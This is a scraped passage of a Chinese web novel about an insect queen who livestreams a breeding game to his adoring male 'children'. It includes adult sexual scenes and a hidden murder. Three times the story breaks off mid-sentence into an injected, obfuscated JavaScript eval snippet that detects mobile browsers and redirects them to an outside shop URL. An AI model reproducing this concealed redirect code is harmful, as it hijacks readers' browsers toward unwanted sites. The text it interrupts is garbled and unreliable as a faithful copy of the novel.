珀尔笑起来很好看,纯白的睫毛弯曲翘起,淡金色的眼眸明亮剔透,连唇角的弧度都是美的,他的发丝搭在肩头,戴维德遗留的信息素让他很安心,“因为我找到了其中一个孩子,所以心情很好。” 【妈妈是因为找到了孩子高兴,还是因为找到了这只孩子高兴。】 【别问了,不觉得像小丑吗……】 【那家伙的情况昨天全族都知道了,妈妈照样宠幸他救命啊。】 【妈妈最宠爱的孩子……为什么……不是我……】 【王虫,可恶的王虫!】 【但是,这些天看妈妈,感觉他不是那种完全不在乎我们的虫母,感觉他……还是惦记着我们的……】 【是啊是啊,跟书上不太一样,他很温柔,虽然书上没有多少他自己写的东西,大多都是侍寝过的雄虫的感言。】 珀尔这次聪明地用了戴维德的手机悄悄潜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811493|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入直播间,很多弹幕发出来还没来得及到达珀尔的手机上就被删除了,似乎有什么人在屏蔽这些弹幕。 但好在,戴维德的手机能看见这些,甚至戴维德的权限要更高一点,珀尔一条条看过这些弹幕,他有一个大胆的猜想。 或许,他要找的孩子们就跟戴维德一样,藏匿在他身边。 原因或许就是戴维德说的那些,他们中的一部分需要虫母看完游戏剧情,还有一些虫子在他离开的日子里组建势力。 戴维德的实力已经不如从前,珀尔看弹幕也能发现,很多虫族对王虫的意见很大。 是因为他专宠吗?还是因为“唯一”这个特殊的词。 珀尔不知道琢磨了些什么,再抬起头的时候发现弹幕已经换了一个话题,都在YY他受过惩罚屁股痛不痛。 珀尔:“……” “你们都在想些什么,我们还是玩游戏吧。”虫母很生硬地转移了话题,如果这些观众真的是他的孩子们,那他才不要说自己屁股痛,很不妈妈,很不虫母。 【妈妈说吧,求求你了……说了我什么都愿意做的……】 【妈妈那不问屁股痛了,妈妈胸口……】 【看。】 【看看。】 【看一看。】 【求求妈妈了,妈妈你知道的,我就这么一点小爱好。】 挨不住这些家伙的恳求,珀尔抿了抿唇瓣,将原本就红润的唇瓣摩擦得更艳,“……痛。” “火辣辣的,我感觉我不喜欢姜了,以后连姜撞奶都会不太喜欢了。而且如果乱动的话,还会辣到里面,清洗的时候就要连里面也用水冲洗,就……有点受不住。” 虫母认认真真分享起来,“我不建议大家这样使用,还是做姜撞奶好一点,或者冬天冷的时候煮姜糖水,喝下去很暖和,可以让大家的虫……” 珀尔忽然闭上嘴,朝摄像头眨眨眼,“我们接着玩游戏吧。” 【!妈妈刚刚是想说虫肢吗……】 【我们好像暴露了,加登阁下会把我们片成虫子片吗。】 【可是妈妈如果接着玩,这一章就是我们改造的部分了,他这次直播结束肯定会知道的。】 【妈妈说的肯定是虫肢!虫族的虫肢在寒冷的冬天会变得非常容易有旧伤复发,那些上过战场的虫子冬天都很难过。】 【我记得妈妈之前还去餐厅参与过煮姜糖水的活动,那天餐厅都爆满了……】 【妈妈认出我们了!我们的弹幕都被加登阁下筛选过,很少出破绽呜呜呜,怎么感觉胸口热热的。】 【是因为忽然发现了自己不是单方面飞蛾扑火,而是被妈妈也回馈同样的爱意太激动了吧。】 【那……是不是意味着我们可以光明正大叫虫母了,妈妈虽然很亲近,但是我还是喜欢叫他虫母,有一种……基因上的……】 【汹涌爱意。】 18.第 18 章 【欢迎玩家“珍珠”重新回到《繁育》。】 【您在上一轮游戏内已达到二级阶段,但很遗憾,您做出了错误的选择(已解锁失败结局x1)】 【现在,您可选择复活节点: A.第一轮王虫筛选 B.第二轮王虫筛选 C.单独观察】 【温馨提示:该选择确定后不可更改,如选择错误,则游戏进度清空,您需要重新开始您的族群旅途。】 珀尔轻轻蹙起眉,游戏进度直接清空啊,好霸道的游戏。 不过也很符合雄虫的脾气就是了。他们除了面对虫母是好脾气以外,是谁的面子都不会给的。 “哎?”珀尔忽然想到了什么,他侧过脸,朝着摄像头凑了过去。 珀尔的脸在高清镜头下格外生动漂亮,虫母深谙拿捏孩子的办法,深邃美丽的淡金色眼睛定定盯着摄像头,好像在隔空看着自己的孩子们,他的声音放得轻轻的、温温柔柔的,“大家来帮我选择吧,我想听听大家的想法。” “虽然不喜欢游戏进度被清空,但是大家的意见更重要啊。”虫母用手撑着下巴,就像在某个阳光正好的下午跟孩子们闲聊的温柔妈妈。 【我不行了,我不行了,我不行了……】 【没有雄虫告诉我点进来虫母会这样跟我说话啊啊啊啊!】 【虽然感觉虫母是在利用我们,但是怎么就那么心甘情愿呢。】 【别说这样哄着利用了,就是虫母真的直接说要一批雄虫为他去死,下一秒服务器都爆满。】 【虫母才不会这样,他不喜欢大家这样说,前面那个你自己申请删除弹幕吧,要不然一会加登给你禁言了。】 【虫母殿下!选C!!!我是策划组了,选C!!!】 【选C虫母是不是可以看见我们百年的经历了!太好了,虫族就应该毫无保留地面向虫母!】 【被虫母勾走了,我是虫母的好孩子汪汪汪……】 珀尔弯了弯眼睛,他的眼型很漂亮,圆润的眼睛加上微微上扬的眼尾,睫毛弯曲得恰到好处,配上一双看见雄虫就很温柔深情的眼眸,虫族对虫母的爱意是烙印在基因里的。 “大家好热情,那我就选C了哦。”珀尔轻轻松松得到了正确答案,还不忘安抚这些嗷嗷叫的孩子们,“是啊,你们都是我的好孩子,我很爱你们。” 剧情果然开始接着走,珀尔这次没有选择戴维德做王虫,他仔细看了看游戏的提示。 “剧情前提只是一直在强调冰河期即将来临,需要足够的卵,而且质量要好……”虫母微微垂着眼睛,不知道在思索些什么。 【妈妈!选兰伯特!这个剧情选他就顺利通过啦!】 【?好像那个夹带私货怎么回事。】 【我不行了,戴维德都成劣等虫了,这私货还少吗。】 【可是我怎么感觉虫母有自己的想法呢。】 【虫母殿下是很聪明的,知道适时使用资源,但不会是被推着走的空架子虫母!我曾经在虫母殿下身边当护卫队队长,我们殿下甚至早上要早起处理公务、照看幼卵,冬天还给我有旧伤的手臂送膏药!】 【这都是雄虫应该干的活,虫母为什么要干?他是生活得不好吗,不会是被戴维德他们欺压了吧!】 【不是不是,他只是喜欢自己做,他说他既然把孩子生下来了,就要尽到虫母的责任。而且因为爱大家,他更喜欢外出巡逻、抚慰士兵,跟大家待在一起他会很开心。 只不过之前我们科技不发达,他能安抚到的太有限,所以在大家出现心理问题、为了得到他的关注而伤害自己的时候虫母才会那么难过……】 【原来他是觉得自己不称职。】 【但他做得已经很好了!虽然我们这些新虫子没见过他,甚至在一开始直播也有一种不真实感,但能看见虫母为我们做直播已经很满足了!】 【在虫族,雄虫的地位比虫母低,他可以不用把这些当做自己的责任的,珀尔殿下呜呜呜呜……】 【好了好了,别说这些了,等殿下回来你们再抱着他哭昂,现在好好看他直播,别让他看见你们情绪低落也跟着难过!】 就在弹幕开始讨论起珀尔会选谁的时候,珀尔做了一个很大胆的举措。 他大手一挥把通过前两轮选拔的十三个雄虫全收了。 珀尔精挑细选了三个看起来不错的作为王虫,剩下十个则是侍君。能走到这一步的必然是实力不凡且不分伯仲。 之前选戴维德也是因为对方胜在懂虫母的心思,知道王上的忧虑且有脑子能帮虫母分忧。 现在既然是需要急速扩大族群的阶段,那就先不论这些。 珀尔一脸认真,“现在最要紧的是优质卵,都排去侍寝。” “王虫和侍君的位置不固定,按每次繁育期的优质卵数为标准进行排名,排名前三为王虫,剩下为侍君。” 虫母玩起游戏自然不用考虑自己受不受得住,反正就是游戏,他就算排满了也不会屁股痛! 珀尔甚至开始实行末位淘汰制,每个繁育期都会有新雄虫来参与选拔,在上一个繁育期排名最末的三位将会被淘汰,由新来的雄虫补上。 “又没说不能这样搞,我是王上,怎么选当然是我说了算。”珀尔看似是在玩游戏,其实也是在向虫族传递新消息: ——王虫的选拔规则将会有大变动。 什么阶段的制度就要顺应这一阶段的发展,落后的制度解决不了该阶段的问题就会把小问题拖成大问题。珀尔深谙这一道理,既然戴维德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812688|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已然激起这些孩子们的不满,那不如就明晃晃告诉大家会有新的规则,要公平竞争。 珀尔向来是温柔的,现在骤然果断下决定、改规则时他的眉眼间不自觉地多出一股虫族唯一王上的气势,这样反而看起来更加有味道。他的温柔不会影响到王上不容侵犯的威严,但同时,这威严也不意味着要完全摒弃虫母的温柔。 珀尔恰好将这两种感觉糅合得完美无缺,他就是虫星书籍里那喜欢掌控脐橙、会轻轻拍雄虫脸颊的母亲。 【妈妈好果断,都不怕选错了会清空重来吗?他之前那个选择还跟我们聊天套答案。】 【虫母这是一个虫子一个栓法,超级聪明!】 【也有可能之前就是单纯逗我们玩,妈妈也喜欢逗雄虫的。】 【虫母殿下在游戏里这样改规则是不是意味着回虫星之后也这样改!】 【可是妈妈之前连选了戴维德五年,这次会换人选吗?】 【虫星那边的吧,你们还不知道,戴维德确实已经跌落成劣等虫了,而且因为早年过分掏空自己打仗,活不了多久了。】 【妈妈会很伤心的。】 【每个虫子离开他都会伤心,但伤心过后他还是殿下、是虫母,就像他现在这样,已经在为了回虫星做准备。他一直是有自己主见的虫母。】 【论坛已经炸锅了,估计虫星健身房行业会回暖,机甲课估计也要开始有雄虫争先恐后报了!】 【虫母殿下英明!感觉妈妈回来之后虫族会重新活起来。】 【不是有雄虫说选兰伯特吗,难道这又是多走向游戏,不管了,先去论坛嚎几声,虫母回来后我们一定会焕然一新的!】 珀尔的选择算得上正确,他的族群扩展速度很快,三阶段的目标都能看见一点边缘。 虫母知道这或许是一个很大声响的改动,但是有意义的,规则就是要根据孩子们的意见修改。 虫母和虫族是彼此最亲密的存在,珀尔弯着眼睛看弹幕一片欢呼雀跃。 忽然,他看见那条讨论论坛的弹幕,珀尔思考一秒,论坛…… 等他回了虫星也要注册一个论坛账号,还要保留直播的账号分享生活,科技既然发展起来了,那就要好好用它。 珀尔轻轻歪着头,看着这些孩子们不停地、活跃地、积极地发弹幕,他感觉这样很好。 可以记住错误,不要再重复之前的错误。 加登发来私信,珀尔点开查看,发现那是一张三阶段的验证链接。 阶段三是需要管理员权限才能打开的,而那链接正是珀尔的虫族身份证号。 【加登:虫母殿下,请您允许我们向您介绍这些年的发展历程和各个大事件。】 【加登:您的回归是整个虫族的最高殊荣。】 19.第 19 章 【玩家“珍珠”,恭喜您达到三阶段,在游戏进入最终阶段前,请允许我们向您展示三阶段剧情。】 珀尔知道,那是虫族很艰难的一段时光,离开了虫母的族群会陷入偏执和疯狂的漩涡里无法自拔。 他轻轻按下同意的按键,开始了解孩子们的发展历程,那段他没能领导、参与的,只有这些雄虫硬生生熬过来的,历程。 游戏里的雪白虫母从王座上走下来,在一众雄虫的包围圈里,张开翅膀允许他们亲吻,淡金色的眼眸里哀伤和爱怜交杂,他的头上多出一个白色气泡,“我允许。” 星际2946年,虫族失去虫母殿下。次年,以厄里斯为领导的研究小组正式成立,王虫戴维德作为第一批实验体进入地下实验室,虫族的事务暂时交由虫母的侍君管理。 剧情是以动画的形式展现在珀尔面前的,珀尔看着那只尾巴有残缺的王虫走进地下实验室,对方似乎感受到了虫母的目光,回头对着他笑了一下。 “戴维德。”珀尔明白,即使他离开,王虫的地位也不会瞬间被颠覆,即使有部分虫族不满,也不会沦落到被赶去当实验体的地步。 戴维德是自己申请要去的。 对方跟他的联系最深厚,只有戴维德自己先进行实验,才最大可能成功。 “实验室,他们对自己进行了改造。”珀尔记得,厄里斯当年修学的最优秀的一科是神经与联系科,能让厄里斯作为小组领导,必然是很重要、且危险的实验。 动画还在继续,珀尔看不到地下实验室的场景,只是偶尔那里能出现几个白色气泡。 【疼。】 【好疼。】 【妈妈……虫母……】 然后就是一连串乱七八糟的乱码,似乎底下的部分实验体已经意识不清了。 珀尔在屏幕外慢慢攥紧拳头,手指尖陷进柔软的手心。 这时,实验室门口代表生命的白灯灭掉了几盏,第一次实验失败,几只打赢过擂台、侍奉过珀尔的雄虫被抬了出来。珀尔能认出他们,甚至还记得他们的名字。 第一次实验失败,处理公务的侍君周围多了几个举着抗议牌子的雄虫。 “他们的压力很大……”珀尔垂下眼睛。 实验并没有因为抗议停止,厄里斯进行了第二次实验,这次轮到戴维德闭上眼睛被打开脑袋。 实验持续了很长时间,侍君身边围着他抗议的虫族越来越多,到最后,珀尔都要看不见侍君的身影了。 一代雄虫全身心投入实验,而新孵化出的二代虫族已经在没有虫母的环境下慢慢成长起来。 王虫销声匿迹,虫母不知所踪,这些新生虫族很容易就被部分反抗王虫的劣等虫策反。 一些能力强悍、位高权重的劣等虫上将加入了这个组织,侍君身边的公务开始变少,权力渐渐有了一分为二的趋势。 珀尔看了看动画标注的时间,而这时,离他苏醒,还有整整60年。 在实验的中途,一只虫族取代了厄里斯的领导位置,厄里斯退出了实验小组,之后不过两年就因病离世。 那只虫族的优势是年轻且聪明,在这个领域甚至有赶超厄里斯的趋势,对方取代厄里斯的同时。 之前处理公务的侍君也被反对的声音彻底包裹住。 珀尔仔细看了一会,那只虫族身上的白色花纹……他有些惊讶,“是兰伯特啊。” 虫母的确离开了太久,尽管在戴维德嘴里已经知道了兰伯特接任厄里斯位置的事实,但他还是忍不住恍惚,珀尔跟直播间里的孩子们比划着,“他,他小时候才这么大一点,看不见我就会哭,是个很粘人的孩子,没想到长大了居然这么厉害。” 【我记得这里,兰伯特上将当时是力排众议,实验就是在他手上完成的。】 【好羡慕,虫母居然还记得孩子小时候的事情,开始羡慕上将了。】 【感觉虫母从剧情开始就很难过,是在责备自己吧,为什么在孩子们最需要自己的时候却消失不见……】 【不要自责啊妈妈!这些事情也不是你能控制的,如果你可以自己选,你也不想的。】 珀尔轻轻摇头,“没事的,不用安慰我,我只是心疼孩子们。” 剧情还在继续,大概是兰伯特接手的第二年,靠着厄里斯留下的扎实基础,这只聪明的虫族很快就完成了实验。 戴维德是首先出来的,他的容貌已经变化了,接着出来的虫族都长着一模一样的脸。 珀尔看着这些熟悉的脸庞,这才知道,原来安全区的“人”都是他的孩子们。 他的孩子一直在他身边。 兰伯特将实验结果公布,他们已经成功将虫族改造成共享一个意识体的存在,他们将舍弃自己的容貌,连意识和信息素都关联起来,用全族的改造来迎回自己的王上。 这些年在实验的同时,他们派出了不计其数的虫族在各个星系搜寻,虫族在这几十年里的科研发展速度达到了有史以来的巅峰。 现在实验成功了,他们就能够最快地获得虫母的消息。 【所有虫子从现在开始将公用着一个意识,既相互割裂又相互联系着。】 在实验成功后,所有虫族都接受了兰伯特的药剂,无论是反对王虫还是不反对王虫的雄虫在寻找虫母这件事上都是统一的。 第二月,更大规模的搜寻开始,同年,王虫戴维德在蓝星附近的星系嗅闻到了幼卵散发的危机信息素。 虫族得知消息后,立马着手开始建立舰队,上将兰伯特没有接着在科研领域做事,而是转回了他先前进行的一代舰队。 珀尔没记错,兰伯特之前,是历史方向的,在舰队制度和训练领导方面颇有建树,年纪轻轻就成为了上将。 这个孩子,仿佛只是为了寻找虫母而短暂进入了自己有天赋的领域,又马上追随着珀尔的脚步匆匆回到了自己原本的位置。 虫族准备、等待了37年,终于等来前往蓝星的机会,大规模舰队启航。 朝着虫母的方向。 之后的事情珀尔已经很清楚了,戴维德过度消耗身体亏空、时日无多,虫星反对王虫的虫族占据了一半权势,与珀尔在时的那一批雄虫势均力敌。 戴维德借助直播和游戏让新生虫族见到虫母开始有归属感,也让虫母了解虫星的发展历程。 第三阶段的动画最后定格成一张奖状,那是他的孩子们在等待着他的评价。 直播间里的虫族和安全区里的虫族都在忐忑地认真聆听着虫母的指示。 珀尔忍不住红了眼圈,他赶紧垂下眼睛,还是没拦截住那晶莹剔透的泪珠。 【妈妈……怎么哭了……】 【虫母殿下是不是觉得我们无能才哭的,也对,我们居然弄了这么久才找到您。】 【呜呜呜呜呜妈妈一哭我也想哭……】 珀尔捂住眼睛,手指缝渐渐湿润起来,“没有,你们做的很棒,我为你们而骄傲。” “你们真的,做得很好。” 游戏页面炸开一个烟火特效,制作游戏的雄虫一定很了解珀尔,知道他会哭,还做了一个动画: 雪白的虫母可怜兮兮抹着眼泪,怀里抱着自己的孩子们,这些雄虫争先恐后往他怀里钻,然后,轻柔地给他擦掉眼泪。 雪白虫母重新戴上王冠,一只虫族给他双手奉上可以掌控整个虫族意识的唯一钥匙。 【虫母殿下,等待您的回归。】 下方有一个小小的倒计时,珀尔平复好心情凑近看了看,还有二十三小时五十九分钟。 【虫母殿下快要回到虫星了吗!大屏上也有倒计时!不过比妈妈的要多四天……】 【那肯定的,星舰启航离到达虫星还有四天的路程。】 【好激动,我要去健身了家虫们,不能让虫母第一次见我就觉得我很弱鸡!】 【一看就是虫星的新虫族,激动什么啊。】 【少将!您忘切号了,我在健身房遇见您了!能不能把器械给我用一会。】 【加登阁下吩咐雄虫去铺红毯了,还有设施清理什么的,城市的道路都已经开始彻底清扫了。大家积极性都很高!妈妈,我们都很期待您的归来。】 【还有几支最精良的军队的训练也更严格了,听说已经定了他们参与阅兵!】 珀尔轻轻侧着头看大家热火朝天讨论着、分享着,精致漂亮的脸上笼罩着柔和的一层光泽,“好,我也很期待和大家的见面。” “那今天的直播先到这里,这个账号后续会继续运营。”珀尔跟孩子们轻轻笑着说了再见,又被孩子们缠着聊了好久的天。 爱吃什么,喜欢什么颜色,喜欢听什么歌,喜欢什么鲜花都被这些虫星的新生孩子们问了一遍,珀尔一一耐心解答,这些其实在他们的书籍里也有记载,这些虫族只是在借机跟虫母多说几句话。 尽管只有五天见不到,大家也依旧都是恋恋不舍的。 【妈妈,再见!下次见面就可以直接看见妈妈了!好开心!】 “我也很开心,真的很期待能看见大家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好孩子,妈妈为你骄傲,妈妈看见你们做的事情了,真的很棒。” 兰伯特鼻子都是酸的,但还是不耽误他闻虫母身上的甜腻香味,温暖的、熟悉的怀抱让他很有安全感,“妈妈,我好想您,真的好想好想。” “乖,我都知道,你是个非常好的孩子。”虫母轻轻摸着兰伯特的后颈,来自虫母的认可让兰伯特忍不住露出一点年轻雄虫的热情举动。 ——兰伯特的尾巴控制不住地放了出来,此时正卷在珀尔的腿上,跟对方安置好的尾巴交缠在一起。 “还是个很年轻的孩子啊。”虫母忍不住逗一逗兰伯特,对方从小就表现地太老成了,但珀尔还是觉得他像孩子,终于有了机会可以逗一逗他,虫母怎么会放过。 “妈妈,别笑话我。”兰伯特委委屈屈把鼻子塞进珀尔的颈窝嗅闻,“我就是看见妈妈忍不住,妈妈不要笑话我。” “好,不笑话你。”珀尔眉眼弯弯,他朝兰伯特身后看了看,“哎?戴维德没有跟你一起回来吗?他不是去你那里打针剂了吗?他不会……自己偷偷离开了吧,他去你那里了吗,好孩子?” 戴维德。这个名字一出,珀尔感觉怀里的孩子僵硬了一瞬间,珀尔大概知道,这些孩子对戴维德多多少少都有意见,毕竟是自己的偏爱才让他们这样嫉妒的,所以珀尔还是轻轻开始安抚兰伯特。 “我打算,在回到虫星后多设立几个王虫和侍君,之前是妈妈不好,太偏爱戴维德,之后妈妈会好好弥补你们的。”珀尔亲了亲兰伯特的侧脸。 兰伯特露出一个有些不自然的笑,“没关系,妈妈,您能回到虫星,已经是我们最大的幸运。戴维德……没有去我那里,应该是去忙其他的事情了吧。” “他的针剂我都给他了,他都是自己用的,他不喜欢我给他注/射。” “那他会去哪里呢?”珀尔忍不住担忧起来。 兰伯特慢慢攥紧拳头,面上还是一副正常的模样,“可能是去准备妈妈离开的星舰了,估计是想给妈妈一个惊喜吧,妈妈别担心,安全区没有人出入。” 珀尔这才放下心,“这孩子,吓坏我了。兰伯特,进房间喝一口水再去检查吧,你一路过来是不是累了,要不要歇一会。” 虫母轻轻摸着兰伯特的侧脸,“你看,都出汗了,进房间,妈妈给你擦一擦。” 与此同时,兰伯特实验室的柜子里,几滴血液顺着柜门的缝隙缓缓往下流着,蜿蜒出几道血迹。 属于戴维德的那支控制药剂被人从垃圾桶里捡起。 …… 兰伯特应了一声,“好。”然后珀尔就带着他进房间了,兰伯特知道,如果柜子里的戴维德被虫母发现,他就再也不是对方的好孩子了。 但他不后悔。 能得到这样的虫母,就是要他被千刀万剐,他也无怨无悔。 20.第 20 章 “你看,出了这么多汗,怎么着急成这样。”珀尔轻轻用纸巾擦拭着兰伯特额角的汗珠,对方依赖地靠着虫母,明明已经想念得都要变成小孩子了,兰伯特嘴上还要装出一副成熟稳重的模样。 “不碍事的,妈妈。” 珀尔轻轻叹了一口气,又是一个喜欢嘴硬的孩子。他很熟稔地拿捏起兰伯特,做出一副要收回手的样子,“是吗,那我就不擦了,我们直接去做检查吧。” 虫母垂着眼睛,纤长浓密的睫毛在脸颊上垂落一处阴影,雪白柔软的发丝妥帖地搭在肩膀上,精致漂亮的脸庞表情淡淡,看起来是真的不打算管兰伯特了。 珀尔把纸巾放下,还没走出一步,就感受到了腿上的沉重阻碍,跟戴维德不太一样,兰伯特即使是拦虫母的脚步,也依旧一声不吭,不撒娇、不耍赖,反而沉默着可怜兮兮的。 就这样让珀尔硬起来一半的心重新软了下来。 珀尔回过头,静静看着倔强的、正抱着他大腿的孩子,“你要说出来,说出来我才知道你想要什么。” 兰伯特抱得更紧了,“妈妈……” 被这只第一窝孩子抱住腿的虫母板起脸,才命令了这么一句,就又有点开始心软了。 毕竟不是什么违背族群利益的大事,只是一个有点拧巴的孩子啊。 珀尔蹲下,抱住兰伯特,用温软馨香的怀抱去融化自己别扭的孩子,“兰伯特,不需要装得很成熟,你本来年纪也不大。” “我没有想批评你的意思,我只是觉得,我们之间本来就不应该有任何隔阂。”虫母跟兰伯特脸贴着脸,“我是虫母,你是我的孩子,对外不能展露出来的一面,对着虫母是可以的。” 兰伯特仔细感受着珀尔的温度和味道,忽然开口,那声音很微弱,几乎等同于是自己说给自己听,“……不可以的,妈妈……” 如果你知道我做过的事情,会立刻厌恶我、让我永生永世都不要再出现在你面前的。 “什么?”兰伯特的声音很小,珀尔没听清,他睁开眼睛询问道。 “没什么妈妈,我只是说,我不小了。”兰伯特正色道,“我比戴维德第一次侍寝的时候还要大了,我不是小孩子了,妈妈。” “如果妈妈在安全区入口第一个遇见的是我。”兰伯特的目光滚烫,“那妈妈现在孕囊里,已经有了我贡给妈妈的幼卵。” 兰伯特直勾勾盯着珀尔,就好像刚刚还配合着虫母玩温温柔柔戏码的小绵羊忽然扯掉了身上的羊皮,露出底下觊觎着虫母温软身躯的饥饿公狼。 珀尔“啊”了一声,恍然发现,原来兰伯特已经这么大了,他不是孩子了。 在虫母感慨、柔和参半的目光里,兰伯特轻轻的吻上珀尔的唇瓣。那吻一触即分,带着信徒的虔诚和处男雄虫的青涩。 “妈妈,我现在也是最适合繁育的年龄。”兰伯特努力推荐着自己,“不求妈妈能给我王虫的位置,只求妈妈,能够让我把身子献给您,一次就好……让我能在死之前成为妈妈的雄虫,成为妈妈尝过的菜肴,我就心满意足、死得其所了。” 当虫母终于开始用打量雄性的目光看向兰伯特,对方已经因为兴奋而微微战栗着。 兰伯特拉住珀尔的手,带着对方纤白的指尖慢吞吞从锁骨往下划,珀尔指尖接触到的衣服布料都像脆弱的蛛网一样破开,露出底下精壮的身躯。 “好孩子,你锻炼得很好。”珀尔轻轻按了按兰伯特的胸膛,虫母的指尖也有锋利的外骨骼,只是平时用不到他的外骨骼上场。 虫母的身边时时刻刻都有能为他赴汤蹈火的孩子、下属、伴侣、虫族,他的锋利外骨骼只能用来在床榻上逗弄一下自己强壮听话的孩子。 珀尔慢慢划到兰伯特的腹部,那处是虫族脆弱敏感的地方,在战场上很容易被敌人在那开膛破肚。虫母的指尖没有敌人的武器锋利,但却能让雄虫的心疯狂跳动起来,这是什么武器都做不到的。 兰伯特被珀尔压倒,他打听过,虫母很喜欢在做的时候玩脐橙,终于要轮到他了吗……兰伯特几乎要控制不住自己躁动的处虫心,“妈妈……” 虫母这样高高在上地坐着,锋利的指尖好像毫无感情一样在兰伯特身上划动,但没有破一点皮、流一点血却已经把虫母的一腔怜爱暴露个彻彻底底。 “兰伯特,妈妈很想让你侍奉。”珀尔如愿以偿看见这只成熟冷静的孩子眼睛一颤,他像得逞的猫一样忍不住弯了弯眼睛。 兰伯特控制不住起来了,本来就处于能就着虫母的名字顶一晚上床板的年纪,“珀尔”两个字都要被弄透弄熟,根本受不了虫母这样熟稔地挑拨。 珀尔发现了,他摇了摇,几乎是完全贴着。 “妈妈,妈妈……” 就在兰伯特马上就控制不住的时候,珀尔从他身上下来了。他轻轻抚摸着兰伯特的脸颊,“可是我没有空着的孕囊了,所以下一次繁育期再临幸你。” 看着兰伯特僵硬住,珀尔眉眼弯弯。 兰伯特也明白这是虫母的恶趣味,他一点怨怪都生不出,反而有种跟虫母亲近了些许的窃喜感,知道应该马上顺着杆爬的兰伯特趁机跟虫母吹耳旁风,“那妈妈,可不可以给我个侍君的位置。” 珀尔没说话。 兰伯特先跟展示自己能力的求偶雄虫一样什么都交代了,“殿下,我是上将,可以调动两支优良的舰队,还可以成为殿下在医学和科研领域的趁手器具,殿下收了我当侍君,只赚不亏的。” 虫母拍了拍他的脸,像随意对待什么小猫小狗一样,“可是我就算不收了你当侍君,你也得乖乖把舰队给我。对吗。” 兰伯特痴迷地看着珀尔,“对……但,我觉得,妈妈会收下我,就算是为了我绞尽脑汁想出来的‘好处’。” “傻孩子。”珀尔吻了吻兰伯特的额头,“别把自己看得太轻了,你身体好,实力强悍,脑子也不错,会通过选拔的。” “虽然,我私心上,希望你能成为我的王虫之一。但,为了公平,你们都要通过审核且每年看是否达标。” “好了,快起来,我们去做检查吧,离星舰启航不是只剩23小时了吗。” 虫母温柔又强势的模样又让兰伯特忍不住了,他难得失态,“妈妈,能不能先让我借用一下洗手间。” 珀尔了然地大大方方看了几眼,差点把这只处虫又看得受不了。 熟透的虫母不是这些青涩虫族能把持得住的,生来就是族群王上的虫母极其开放,在巢穴里的时候都是赤裸着、展现着的,虽然现在穿了衣服,但感觉比不穿衣服更让虫子难熬。 对方周身的气质变化让珀尔忽然从柔和的慈母变成揉杂着魅味的伴侣,巨大的身份反差强烈刺激着这些处虫小鹿乱撞的春心。 “兰伯特,知道自己该怎么鹿……” 珀尔还没倚着门说完,就被兰伯特捂住嘴,对方哀求着,“妈妈,别欺负我了……” 珀尔轻轻笑了,漂亮的眼睛揶揄着看了一会,“好了好了,不逗你了,我先去收拾一下自己的东西,你弄完了去隔壁找我就好。” 彻彻底底把拧巴的孩子作弄了一遍的虫母心情很好。他收拾着自己的东西,在蓝星用过的东西不多,更多的是一些直播的工具什么的。 鉴于都很有纪念意义,珀尔还是一一把它们摆放好。 珀尔忽然想起戴维德的手机,刚刚收到的消息他还没来得及看,兰伯特的到来打断了他的好奇,但现在,他的好奇又卷土重来了。 戴维德的手机密码一直是珀尔的诞生日,也录过他的指纹,珀尔很容易就能解锁。 珀尔随意划了两下,找到了那条信息储藏的应用,点开里面是一个私密的相册,能模模糊糊看见好像是一个视频。 但更多的就看不见了,甚至都不能输入密码解锁,是一个感应解锁装置。 感应对象是戴维德本人。 珀尔点了点手机屏幕,虫母弯起眼睛,漂亮温柔的眉眼弥漫上无法言说的圣洁光泽,“孩子居然学会藏自己的小秘密了。” “等戴维德忙完,就让他把小秘密一句一句演给我看,跟妈妈藏秘密,坏孩子。”珀尔嘴上这样说着,实际上却没生气,只要不危及族群的利益,这些雄虫弄一些小动作他也不会严厉管教。 而且戴维德一向是个宽厚聪明的王虫,估计是给他准备的什么小惊喜吧。 虫母在这边揣着满心期待收拾着回虫星要带的东西,他期待着回虫星之后的美好日子。 而被纳入日后生活的王虫戴维德,已经静静在实验室的柜子里蜷缩了快三个小时。 …… 大概半个小时后,兰伯特才裹挟着一身水汽找了过来,珀尔没再逗他,这孩子脸皮薄,再逗就有些过分了。 虫母跟着兰伯特前往对方的实验室,路上遇见一些眼巴巴守着想见虫母的雄虫,珀尔一一跟他们打招呼。 几个年轻雄虫当场就红了脸,珀尔认出其中一个就是之前推荐他去直播的雄虫,“哎?是你啊,怎么还是这么爱脸红,是因为看见我了吗?” “挺可爱的。”珀尔笑了笑就又带着兰伯特走了。徒留这些被虫母搭过话的雄虫在原地呆呆回味着。 兰伯特的实验室很大,架子上摆着各种药剂,最壮观的是墙上一大面的、特制瓶子装着的药剂。 珀尔忍不住感叹,“兰伯特,你们的工作量真的很大啊。” “这么多药,居然还能排序,很棒哦。” 虫母随口夸赞着,兰伯特的耳尖红了一点,“也没有很厉害了啊……妈妈,墙上的那些,其实是安全区内虫族的控制药剂。” “是你们实验后抽出的那一部分吗?”珀尔还记得那里的剧情,这东西是要按比例调制,最后可以变成唯一的控制钥匙。 “是的,妈妈,在回到虫星后,希望您能接手虫族的控制权,我们都很希望被妈妈掌控。” 